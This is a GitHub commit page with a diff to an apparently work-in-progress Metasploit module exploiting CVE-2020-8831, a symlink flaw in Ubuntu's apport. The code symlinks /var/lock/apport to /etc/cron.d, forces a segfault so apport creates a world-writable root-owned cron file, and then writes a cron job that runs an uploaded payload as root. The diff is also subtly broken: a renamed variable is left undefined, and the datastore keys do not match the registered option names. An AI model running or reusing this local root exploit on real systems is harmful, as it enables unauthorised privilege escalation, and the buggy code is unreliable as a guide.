Skip to content

Commit 7c35318

Browse files
committed
Add statuses to hijack apport method
1 parent 4391138 commit 7c35318

File tree

1 file changed

+19
-15
lines changed

1 file changed

+19
-15
lines changed

modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb

Lines changed: 19 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -67,12 +67,14 @@ def initialize(info = {})
6767
register_options [
6868
OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']),
6969
OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]),
70-
OptString.new('CRON_FILENAME', [true, 'Name of the cron file', Rex::Text.rand_text_alpha(rand(8..12))]),
7170
OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *'])
7271
]
7372
end
7473

7574
def check
75+
# If you are testing the module apport needs to be reinstalled on boot every time with
76+
# sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb
77+
# sudo rm -rf /var/lock/apport/ -> must be run after each subsequent test!
7678
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'
7779

7880
# Check apport version
@@ -84,7 +86,7 @@ def check
8486

8587
return CheckCode::Detected('Unable to determine apport version') if apport.blank?
8688

87-
# todo determine if prior versions of apport which are NOT vulnerable
89+
# todo determine if prior versions of apport are vulnerable
8890
apport_version = Rex::Version.new(apport.split('-').first)
8991

9092
vulnerable_version = Rex::Version.new('2.20.11')
@@ -99,32 +101,34 @@ def check
99101

100102
# hijack symlink by creating apport crash
101103
def hijack_apport
102-
# Create symlink
103-
# might need to change linked directory
104-
cmd_exec 'ln -s /etc/cron.d /var/lock/apport'
104+
# Create symlink, this will create a rwxrwxrwx root:root /etc/cron.d/lock
105+
print_status("Creating symlink...")
106+
link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport')
107+
print_status(link)
105108

106-
# CreatE crash and trigger apport
109+
# Create crash and trigger apport
110+
print_status("Triggering crash...")
107111
cmd_exec 'sleep 10s & kill -11 $!'
108112

109113
# need method for seeing if file is owned by root and combine with and gate
110114
# TODO want to check if file is root owned to ensure exploit workedd
111-
# if uid method does not work remove Msf::Post::File::FileStat
112-
#puts "uid(/etc/crontab/lock) #{uid('/etc/crontab/lock')}"
113-
if !writable?('/etc/crontab/lock') #|| uid('/etc/crontab/lock') != 0
115+
if !writable?('/etc/cron.d/lock')
114116
fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.')
117+
else
118+
print_good("Successfully created /etc/cron.d/lock")
115119
end
116120
end
117121

118122
def write_payload
119123
print_status 'Uploading payload'
120124

121-
pay_dir = datastore['WritableDir']
125+
payload_dir = datastore['WritableDir']
122126

123-
pay_dir += '/' unless pay_dir.ends_with? '/'
127+
payload_dir += '/' unless pay_dir.ends_with? '/'
124128

125-
pay_file = datastore['PayloadFilename']
129+
payload_file = datastore['PayloadFilename']
126130

127-
@pay_dest = "#{pay_dir}#{pay_file}"
131+
@payload_dest = "#{payload_dir}#{payload_file}"
128132

129133
# create the payload
130134
if target.arch.first == ARCH_CMD
@@ -136,9 +140,9 @@ def write_payload
136140
end
137141

138142
def write_cron
139-
cron_file = datastore['CRON_FILENAME']
143+
cron_file = '/etc/cron.d/lock'
140144
cron_interval = datastore['CRON_INTERVAL']
141-
write_file(cron_file, "#{cron_interval} #{@pay_file}")
145+
write_file(cron_file, "#{cron_interval} #{@payload_dest}")
142146
end
143147

144148
def exploit

0 commit comments

Comments
 (0)